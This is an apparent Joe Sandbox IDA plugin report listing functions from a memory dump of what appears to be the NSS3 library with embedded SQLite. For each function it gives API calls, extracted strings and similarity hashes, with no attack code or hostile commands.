API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: deebd93e11272052c481ef51a14848e1538c3490c83d3ea2076653ebc3e53096
Instruction ID: 542c96c9b8b8a6a6398a678c1cf8716156fc3b1d7e938fcd7c3dfba8fa4d25ff
Opcode Fuzzy Hash: deebd93e11272052c481ef51a14848e1538c3490c83d3ea2076653ebc3e53096
Instruction Fuzzy Hash: 41C16DB1D002199BEB21CF24CC44BEAB7B8EB09308F0085E5E919B6651E7319E85CFA5

Function 6C5EAEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?), ref: 6C5EB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB0A2
CloseHandle.KERNEL32(?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?,?,?), ref: 6C5EB100
sqlite3_free.NSS3(?,?,00000002,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?), ref: 6C5EB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB12D

Part of subcall function 6C5D9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5EC6FD,?,?,?,?,6C63F965,00000000), ref: 6C5D9F0E
Part of subcall function 6C5D9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C63F965,00000000), ref: 6C5D9F5D

Strings

`vl, xrefs: 6C5EB0DF

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `vl
API String ID: 3155957115-2789490299
Opcode ID: ddbe366c2cbb9b2ea160f4e1a5ccc63e3dbbc472375d02a24c38e2dd1fc03ccf
Instruction ID: 1f079da992d96c6292bd472e2e837e70d05ca1491dd5efe13bca217fb5519648
Opcode Fuzzy Hash: ddbe366c2cbb9b2ea160f4e1a5ccc63e3dbbc472375d02a24c38e2dd1fc03ccf
Instruction Fuzzy Hash: F591CEB4A043068FDB04DF79DC84A6BBBB1FF49309F244A2DE46697A50EB31E840CB55

Function 6C680EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C680F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C680FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C681006
PK11_FreeSymKey.NSS3(?), ref: 6C68101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C681033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C68103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C681048
memcpy.VCRUNTIME140(?,?,?), ref: 6C68108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C6810BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C6810D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C68112E

Part of subcall function 6C681570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C6808C4,?,?), ref: 6C6815B8
Part of subcall function 6C681570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C6808C4,?,?), ref: 6C6815C1
Part of subcall function 6C681570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68162E
Part of subcall function 6C681570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C681637

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 1354f8e01301963eb30da1650430bc72c0cf8eb80e1e7f2137106df36f18db51
Instruction ID: 95a798cc19985e93efad62055b12a8c0e60b08f783d87ea23fae4b9588c79c78
Opcode Fuzzy Hash: 1354f8e01301963eb30da1650430bc72c0cf8eb80e1e7f2137106df36f18db51
Instruction Fuzzy Hash: 9971D2B1E012058FDB00CFA5CD84AAAB7F4BF44318F14862DE92997B11EB71D945CBA9

Function 6C6A1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C6A1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C6A2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6A228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6A23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6A241C

Strings

token, xrefs: 6C6A1F2C
serial, xrefs: 6C6A22A2
model, xrefs: 6C6A23CB, 6C6A23EC
manufacturer, xrefs: 6C6A2179

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: c75229a968ee1baa67743178ed27d22881e49595df364184de0840e7f16c2251
Instruction ID: 129f8d7a90af96d4669e3ad1971f843630a0ff160582bb01c20f31e91ab1252c
Opcode Fuzzy Hash: c75229a968ee1baa67743178ed27d22881e49595df364184de0840e7f16c2251
Instruction Fuzzy Hash: DA02E3A2D4C7C85EF73186B2C44C7D77BE09B46328F4C166DCADE46A83C3A85D4A8359

Function 6C5E0FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C5E103E
EnterCriticalSection.KERNEL32(?), ref: 6C5E1139
LeaveCriticalSection.KERNEL32(?), ref: 6C5E1190
sqlite3_free.NSS3(00000000), ref: 6C5E1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C5E126E
sqlite3_free.NSS3(?), ref: 6C5E127F

Strings

winAccess, xrefs: 6C5E129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C5E1267
Pvl, xrefs: 6C5E109E

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Pvl$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1044067139
Opcode ID: 525564954e9bd7f03e2deb53aa52a786e5f8bf63f95a7dfdedc92532454f0f06
Instruction ID: 6ccc7dfa9a04c45e61262b8c38f5000a6acb006276e5f16995ce397449083123
Opcode Fuzzy Hash: 525564954e9bd7f03e2deb53aa52a786e5f8bf63f95a7dfdedc92532454f0f06
Instruction Fuzzy Hash: BB711B327052059BEB08DF65EC99E6F3376FB8A314F140639E91587A81DB30D901C796

Function 6C6A6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C3F

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C60
PR_ExplodeTime.NSS3(00000000,6C651C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C94

Strings

gfff, xrefs: 6C6A6D30
gfff, xrefs: 6C6A6CF5
gfff, xrefs: 6C6A6D66
gfff, xrefs: 6C6A6CFD
gfff, xrefs: 6C6A6D9C

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: aba68cd10a948fc1c383e9bae302edfacc66bc076a77ce3886d841fe09aeea80
Instruction ID: bfa5ba7393045762ceca7a11ea0f79cdad9d0bbaec1f4d2ca55331b14f21ce55
Opcode Fuzzy Hash: aba68cd10a948fc1c383e9bae302edfacc66bc076a77ce3886d841fe09aeea80
Instruction Fuzzy Hash: 2D513B72B016494FC718CDADDC526DEBBDAABA4310F48C23AE442DB781D678E907C751

Function 6C720F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C721027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7210B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C721353

Strings

'%.*q', xrefs: 6C721217, 6C721292
$, xrefs: 6C7212A0
%02x, xrefs: 6C7212F6
NULL, xrefs: 6C72119E
-- , xrefs: 6C720FF5
zeroblob(%d), xrefs: 6C721223
%lld, xrefs: 6C72114B

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: e7f86b1858f55d24d3e0a4d5795d4c769c4e9257d7c6f0858bf0e255bfac255a
Instruction ID: 8d4b4602e6f5adf40dce6319e0dd2786b8ed0010a3d3955245da7eeca769723a
Opcode Fuzzy Hash: e7f86b1858f55d24d3e0a4d5795d4c769c4e9257d7c6f0858bf0e255bfac255a
Instruction Fuzzy Hash: A4E1AF71A083809FD714CF18C580A6BBBF2BF86348F14896DF98587B51E776E949CB42

Function 6C728FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C728FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7290DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C729118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C72915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7291C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C729209

Strings

3333, xrefs: 6C72925E
UUUU, xrefs: 6C729255

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 27e5d9f35e966f13c94544c034b79f3a96c400b6a6a0daabe985fd4b5f1c65fa
Instruction ID: ca43001c1552c6310601ab2ec2131d25f488031a765146947e29eabf5207f86f
Opcode Fuzzy Hash: 27e5d9f35e966f13c94544c034b79f3a96c400b6a6a0daabe985fd4b5f1c65fa
Instruction Fuzzy Hash: EAA1AF72E001199BDB18CB69CD94BAEB7B5BF48324F0D4179E905A7741E73AEC41CBA0

Function 6C6BBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C6BBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C6BBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C6BBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C6BBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C6BBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C6BBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C6BBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C6BBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C6BBE1E

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 6ae4941ee0a59ce149e0c278e3d5340babb9381ae6f459fac285b05702f46cc3
Instruction ID: 684709cdf9758d2a7de0aa46fab8fd89bce89715d029ac9f91987e134704ab9a
Opcode Fuzzy Hash: 6ae4941ee0a59ce149e0c278e3d5340babb9381ae6f459fac285b05702f46cc3
Instruction Fuzzy Hash: 6A21E1B6E0028957FB1096529D82B8F36B49BD278DF080028F916BE651E330D43983AE

Function 6C768D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B14E4,6C71CC70), ref: 6C768D47
PR_GetCurrentThread.NSS3 ref: 6C768D98

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C768E7B
htons.WSOCK32(?), ref: 6C768EDB
PR_GetCurrentThread.NSS3 ref: 6C768F99
PR_GetCurrentThread.NSS3 ref: 6C76910A

Strings

%u.%u.%u.%u, xrefs: 6C768E74

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 75ece2b55c2a005b5f29418a1df9ed47630a8b9911767235f65f295ad47b7d07
Instruction ID: a688033dd2a9626c58d3a350f83fa3dd53b4546242942edabbf2c0b38265c32d
Opcode Fuzzy Hash: 75ece2b55c2a005b5f29418a1df9ed47630a8b9911767235f65f295ad47b7d07
Instruction Fuzzy Hash: C502BA319052518FDB18CF1AC6687AABBB2EF53354F29826ACC915FF92C331D949C790

Function 6C5EEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

authorizer malfunction, xrefs: 6C5EF95C, 6C5EF9BF, 6C5EFA5E, 6C5EFA8B
table, xrefs: 6C5EF05C, 6C5EFABC, 6C5EFAC7
view, xrefs: 6C5EF061, 6C5EF071, 6C5EFAB7
sqlite_temp_master, xrefs: 6C5EF0A6, 6C5EF2D5
temporary table name must be unqualified, xrefs: 6C5EF734
there is already an index named %s, xrefs: 6C5EF9D7
%s %T already exists, xrefs: 6C5EFAC8
not authorized, xrefs: 6C5EF957, 6C5EF9BA
sqlite_master, xrefs: 6C5EF0AB, 6C5EF2DA, 6C5EF757, 6C5EF93E

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: e9093df05d8465b220e44f2272e121f4dffe5c0cbb086d4787ef28cea9eb10aa
Instruction ID: ba198bc7c99a3ec51f1c9b15177747398e5c32bc2b642da92c7e81c1bf2448bb
Opcode Fuzzy Hash: e9093df05d8465b220e44f2272e121f4dffe5c0cbb086d4787ef28cea9eb10aa
Instruction Fuzzy Hash: A672A170E04205CFDB14CF68D884BA9BBF1BF8D308F1582A9D9159BB52DB75E845CB90

Function 6C709C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C5DC52B), ref: 6C709D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C70A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C70A114

Strings

database corruption, xrefs: 6C70A029, 6C70A108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C70A01F, 6C70A0E4, 6C70A0FE
%s at line %d of [%.10s], xrefs: 6C70A02E, 6C70A10D

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 747237dc559f40ec3941e525ad7918c223b52519af00ca98d711597c5593ab93
Instruction ID: 43ffb86fb7cbbf5141caa6ef2098450fc71ef5129500bb174d74d3212fea0419
Opcode Fuzzy Hash: 747237dc559f40ec3941e525ad7918c223b52519af00ca98d711597c5593ab93
Instruction Fuzzy Hash: 6822ACB17083419FC704CF29C69062ABBE1BFDA354F148A3DE9DA97A52D731E845CB42

Function 6C729D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C5E8637,?,?), ref: 6C729E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C5E8637), ref: 6C729ED6

Strings

database corruption, xrefs: 6C729ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C729EC0
%s at line %d of [%.10s], xrefs: 6C729ECF

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 09b5540a34350d3c5198fe76ee9ff6739680b954e54a1ceef1e05f6aae4bcf43
Instruction ID: 93e6624f903cc5810b0fdf43b0a3d97c0aee3162a67fb9604e7dc27adca02f3d
Opcode Fuzzy Hash: 09b5540a34350d3c5198fe76ee9ff6739680b954e54a1ceef1e05f6aae4bcf43
Instruction Fuzzy Hash: 0E81A071F012098FCB14CFAACA84ADEB3F6EF58304B188569E815ABB51E734ED45CB50

Function 6C737F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7381BC

Strings

BINARY, xrefs: 6C738126
out of memory, xrefs: 6C73835B

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

